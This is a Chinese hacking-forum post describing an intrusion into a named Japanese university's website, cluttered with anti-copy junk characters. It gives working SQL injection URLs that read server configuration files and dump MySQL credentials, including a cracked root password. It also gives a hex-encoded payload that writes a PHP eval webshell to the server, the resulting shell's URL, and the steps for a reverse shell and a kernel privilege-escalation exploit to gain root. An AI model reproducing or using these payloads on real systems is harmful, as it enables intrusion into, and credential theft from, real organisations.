入侵日本同志社大学技术分析$ T/ v2 Y) N3 Q1 V; |$ D) T
: v# `) ~& U# s- f
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
$ g% }6 \4 t; s, G4 J# E然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:1 P5 _+ j2 H1 R1 V2 Q' C4 u
) w7 c! e0 D$ D0 a/ s# M
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user' \* x2 ^- K+ ~, Q
$ q: w# G* K9 h5 q9 J! e
! t! i' {( v) K
3 h1 F: t8 l" o//@@datadir为数据库文件路径 + L! x0 u% w; e4 p/ C) B; b: c
3 ]4 K! k8 ]6 n* o5 T2 R" L; s
//load_file读取网站容器apache的配置文件
8 s9 i& O9 ~! a : M- B; Z4 \8 e
6 b4 z+ b% h/ ^2 Z9 [//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
8 i% Y( B/ y {复制代码
{* w% ]" A$ L' h( u3 X6 ^7 a' r1 l+ [4 ?. P7 t
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
* b5 V6 P; `. |/ x/ u1 |
0 y/ ]! u) I% T2 @而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
' I* D% W2 L! i) S/ W& Y(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
1 U% r" [7 r& A( Q) U! y- c% h) K+ b: R
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。) z" e' o1 E) H/ i! @# t
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html! T6 Q/ Y/ \0 Y/ L
K' N _; M3 g6 e# k8 t既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/4 B' l1 J* p- b/ i* J7 @4 G- S! ^, b
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
9 m. t2 D2 a& M+ T4 u直接写一句话:% J, j2 V( i n9 G/ z: ^) t3 C
; o3 G, D/ `- c# E; |- e
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
5 E, H! r: G2 p1 Y8 ^
8 E2 ~3 Z1 n- F( c& N4 J
$ u+ W2 I/ X# I2 D) ^; ^1 m! h" e; [9 R6 m: _6 g; V
//最后的#是为了闭合前面的语句
7 T7 u. r: |, v$ I5 l7 N: o; c, f $ X# c: ^, a! a
7 _* a7 W: `5 _& W& i/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 4 q5 U: @0 u( [* h5 ?
3 I' s! b0 _! l3 ?
$ L* ?0 L1 b% [7 j; G为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ ; G! w q+ B, \/ J
, u8 |0 x( B- n4 }# ]9 O! K4 R
! V1 [, k) {: j; n( W//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 / r: S3 Z6 \! z7 h# E2 L# y
' v4 q# ]5 D+ ]( b
9 r" ?2 O$ i' n9 ? U//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 & @# Q- t3 c6 `. y5 T6 \! u# p
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 0 q2 S, n! H x" f! d) b
复制代码: x& R3 U- z1 }: i" w$ u& P; ^
" J' L+ }: b% P. x3 CHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
2 V# g% O9 s: m1 e( C, p2 u通过上述注入语句,我们就得到了一句话木马:
2 }2 j, g7 J; a3 x- g
9 x' M/ A* d: T/ c* [ # d& |. S, q* M6 y( D
# u$ I# R3 H1 A
$ I4 @5 i {/ P8 ]
# V6 B- }: W& q. j/ z0 p
http://www.doshisha.ac.jp/english/engnews_img/aa.php
0 e) g {$ L& i2 q, p8 H* V+ z3 n# L) a. k复制代码
4 G! g1 S: N7 ]
7 D& K) s/ _* Q用菜刀连接,密码是cmd,如图所示:
, i- a: D1 m1 k- h; X然后在命令提示行里看了一下,现在的权限是:# l0 l" l; T( H# M
" T' Y. V! m* S2 a8 R之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。 Y! y: t' U8 c* Q! ?9 E# W: U8 }
好在赋权给这个文件夹不需要root,直接执行赋权语句:0 I! j7 Q( B, M" q* ]- p9 g
! c) |, T6 p# Q7 |
0 L1 h' N" y5 r- h* b6 ]
( v1 ]: |3 G$ } K* P! {
4 m; u8 w/ M1 z$ E* k/ C" Y4 D! L$ Y- J
chmod +x /tmp/ 7 @4 P+ G: m" y. r5 J
复制代码: D* A% i* f9 F9 N
+ G6 F% W% D, h0 v7 s% Z在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
6 [- W+ A8 v' S0 ^- _3 z2 V! B" a然后就查了一下内核版本:
! ]7 n# z1 y& I8 \; S- Z d/ l. h8 U1 U8 S: ?9 y
[. E" j; \8 |# v. V9 K0 G) U
2 }6 u. j4 x1 [" L& B
" I$ @* X& u' w7 r& q6 u5 }
4 U9 U( h% s! W$ K- x3 p
uname-a
d- T. {) V% S ]1 ?# P5 C * o( I8 ]2 n$ C
6 q- `- ], l0 X' W
//其实lsb_release -a + \7 E5 _8 x7 H
复制代码5 [& q9 x$ F- B* X/ ^) U& H
2 \. I' u' q1 @$ U* z8 Q如图所示:- x2 c4 U+ }; c
6 R* _' x: `% X8 d6 G ?" W
内核版本:linux mainz1 2.6.28-194.e155 Q: X+ S) r6 p9 M
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
& E2 R) Y& S- ?+ f5 c* y# a2 i1 h查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹* m% h& D" z' t5 C
% T" b( W: T* X2 h. }然后给予执行权限* i5 o# x# w. P
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样& T6 c! {; x6 z7 ^0 U
) `! [- }7 W8 l0 N1 ~1 ^9 H
: R, |: i4 }; m8 t6 y7 r" p7 X' U- x5 V7 x5 m) L/ z
9 s9 S8 `9 r# {. t
8 {* u6 M' P9 ~* h/ q$ ]* q( f
chmod +x /tmp/2.6.18-194 : p" H. B( }! B( r/ t% v
复制代码 然后直接执行!~
5 u. d' w1 d) g* c' e4 J
6 u# F1 \+ i/ L* K0 S9 p总结:" B$ N0 |1 J- l' L/ o: T* m1 n: V& y
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
( G/ F& j) s9 i; P* l- R提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root. K& I% E/ g o& G- [1 E+ E+ w' z* f
; S3 K d M2 b4 K1 f0 i) W+ _: @ |